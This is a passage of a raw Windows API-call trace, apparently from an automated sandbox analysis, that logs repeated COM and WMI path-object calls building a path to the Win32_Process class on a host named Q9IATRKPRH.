0x80004002 [0079.621] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001ea0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bfbd5c0) returned 0x0 [0079.621] WbemDefPath:IUnknown:Release (This=0x1c001ea0) returned 0x0 [0079.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd5c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bfbd5c0) returned 0x0 [0079.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd5c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0079.621] WbemDefPath:IUnknown:AddRef (This=0x1bfbd5c0) returned 0x3 [0079.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd5c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0079.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd5c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0079.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd5c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c001ec0) returned 0x0 [0079.622] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001ec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.622] WbemDefPath:IUnknown:Release (This=0x1c001ec0) returned 0x3 [0079.622] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0079.622] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0079.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd5c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0079.622] WbemDefPath:IUnknown:Release (This=0x1bfbd5c0) returned 0x2 [0079.622] WbemDefPath:IUnknown:Release (This=0x1bfbd5c0) returned 0x1 [0079.622] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0079.622] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0079.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd5c0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bfbd5c0) returned 0x0 [0079.622] WbemDefPath:IUnknown:AddRef (This=0x1bfbd5c0) returned 0x3 [0079.622] WbemDefPath:IUnknown:Release (This=0x1bfbd5c0) returned 0x2 [0079.622] WbemDefPath:IWbemPath:SetText (This=0x1bfbd5c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0079.622] IWbemClassObject:Get (in: This=0x1172310, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0079.622] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0079.623] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0079.623] IWbemClassObject:Get (in: This=0x1172310, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0079.623] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0079.623] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0079.623] IWbemClassObject:Get (in: This=0x1172310, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0079.623] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0079.623] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0079.624] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.624] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.624] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.624] IUnknown:Release (This=0x111f638) returned 0x1 [0079.626] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c002060) returned 0x0 [0079.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c002060, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.626] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c002060, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbd680) returned 0x0 [0079.626] WbemDefPath:IUnknown:Release (This=0x1c002060) returned 0x0 [0079.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd680, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbd680) returned 0x0 [0079.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd680, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.627] WbemDefPath:IUnknown:AddRef (This=0x1bfbd680) returned 0x3 [0079.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd680, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd680, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd680, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0020a0) returned 0x0 [0079.627] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0020a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.627] WbemDefPath:IUnknown:Release (This=0x1c0020a0) returned 0x3 [0079.627] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.627] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd680, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.627] WbemDefPath:IUnknown:Release (This=0x1bfbd680) returned 0x2 [0079.627] WbemDefPath:IUnknown:Release (This=0x1bfbd680) returned 0x1 [0079.627] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.627] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd680, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbd680) returned 0x0 [0079.628] WbemDefPath:IUnknown:AddRef (This=0x1bfbd680) returned 0x3 [0079.628] WbemDefPath:IUnknown:Release (This=0x1bfbd680) returned 0x2 [0079.628] WbemDefPath:IWbemPath:SetText (This=0x1bfbd680, uMode=0x4, pszPath="") returned 0x0 [0079.628] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.628] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.628] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.628] IUnknown:Release (This=0x111f638) returned 0x1 [0079.630] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c002060) returned 0x0 [0079.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c002060, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.630] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c002060, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbd740) returned 0x0 [0079.630] WbemDefPath:IUnknown:Release (This=0x1c002060) returned 0x0 [0079.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd740, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbd740) returned 0x0 [0079.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd740, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.631] WbemDefPath:IUnknown:AddRef (This=0x1bfbd740) returned 0x3 [0079.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd740, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd740, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd740, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0020e0) returned 0x0 [0079.631] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0020e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.631] WbemDefPath:IUnknown:Release (This=0x1c0020e0) returned 0x3 [0079.631] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.631] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd740, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.631] WbemDefPath:IUnknown:Release (This=0x1bfbd740) returned 0x2 [0079.631] WbemDefPath:IUnknown:Release (This=0x1bfbd740) returned 0x1 [0079.631] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.632] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.632] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd740, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbd740) returned 0x0 [0079.632] WbemDefPath:IUnknown:AddRef (This=0x1bfbd740) returned 0x3 [0079.632] WbemDefPath:IUnknown:Release (This=0x1bfbd740) returned 0x2 [0079.632] WbemDefPath:IWbemPath:SetText (This=0x1bfbd740, uMode=0x4, pszPath="") returned 0x0 [0079.632] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd740, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.632] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd680, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.632] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbd740, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0079.632] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd740, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0079.632] WbemDefPath:IWbemPath:SetServer (This=0x1bfbd740, Name="Q9IATRKPRH") returned 0x0 [0079.632] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.632] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.632] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.632] IUnknown:Release (This=0x111f638) returned 0x1 [0079.634] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c002100) returned 0x0 [0079.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c002100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.635] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c002100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbd800) returned 0x0 [0079.635] WbemDefPath:IUnknown:Release (This=0x1c002100) returned 0x0 [0079.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd800, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbd800) returned 0x0 [0079.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd800, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.635] WbemDefPath:IUnknown:AddRef (This=0x1bfbd800) returned 0x3 [0079.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd800, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd800, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd800, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c002140) returned 0x0 [0079.635] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c002140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.635] WbemDefPath:IUnknown:Release (This=0x1c002140) returned 0x3 [0079.635] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.636] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd800, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.636] WbemDefPath:IUnknown:Release (This=0x1bfbd800) returned 0x2 [0079.636] WbemDefPath:IUnknown:Release (This=0x1bfbd800) returned 0x1 [0079.636] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.636] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd800, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbd800) returned 0x0 [0079.636] WbemDefPath:IUnknown:AddRef (This=0x1bfbd800) returned 0x3 [0079.636] WbemDefPath:IUnknown:Release (This=0x1bfbd800) returned 0x2 [0079.636] WbemDefPath:IWbemPath:SetText (This=0x1bfbd800, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0079.636] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd740, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.636] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd800, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0079.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd800, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0079.636] 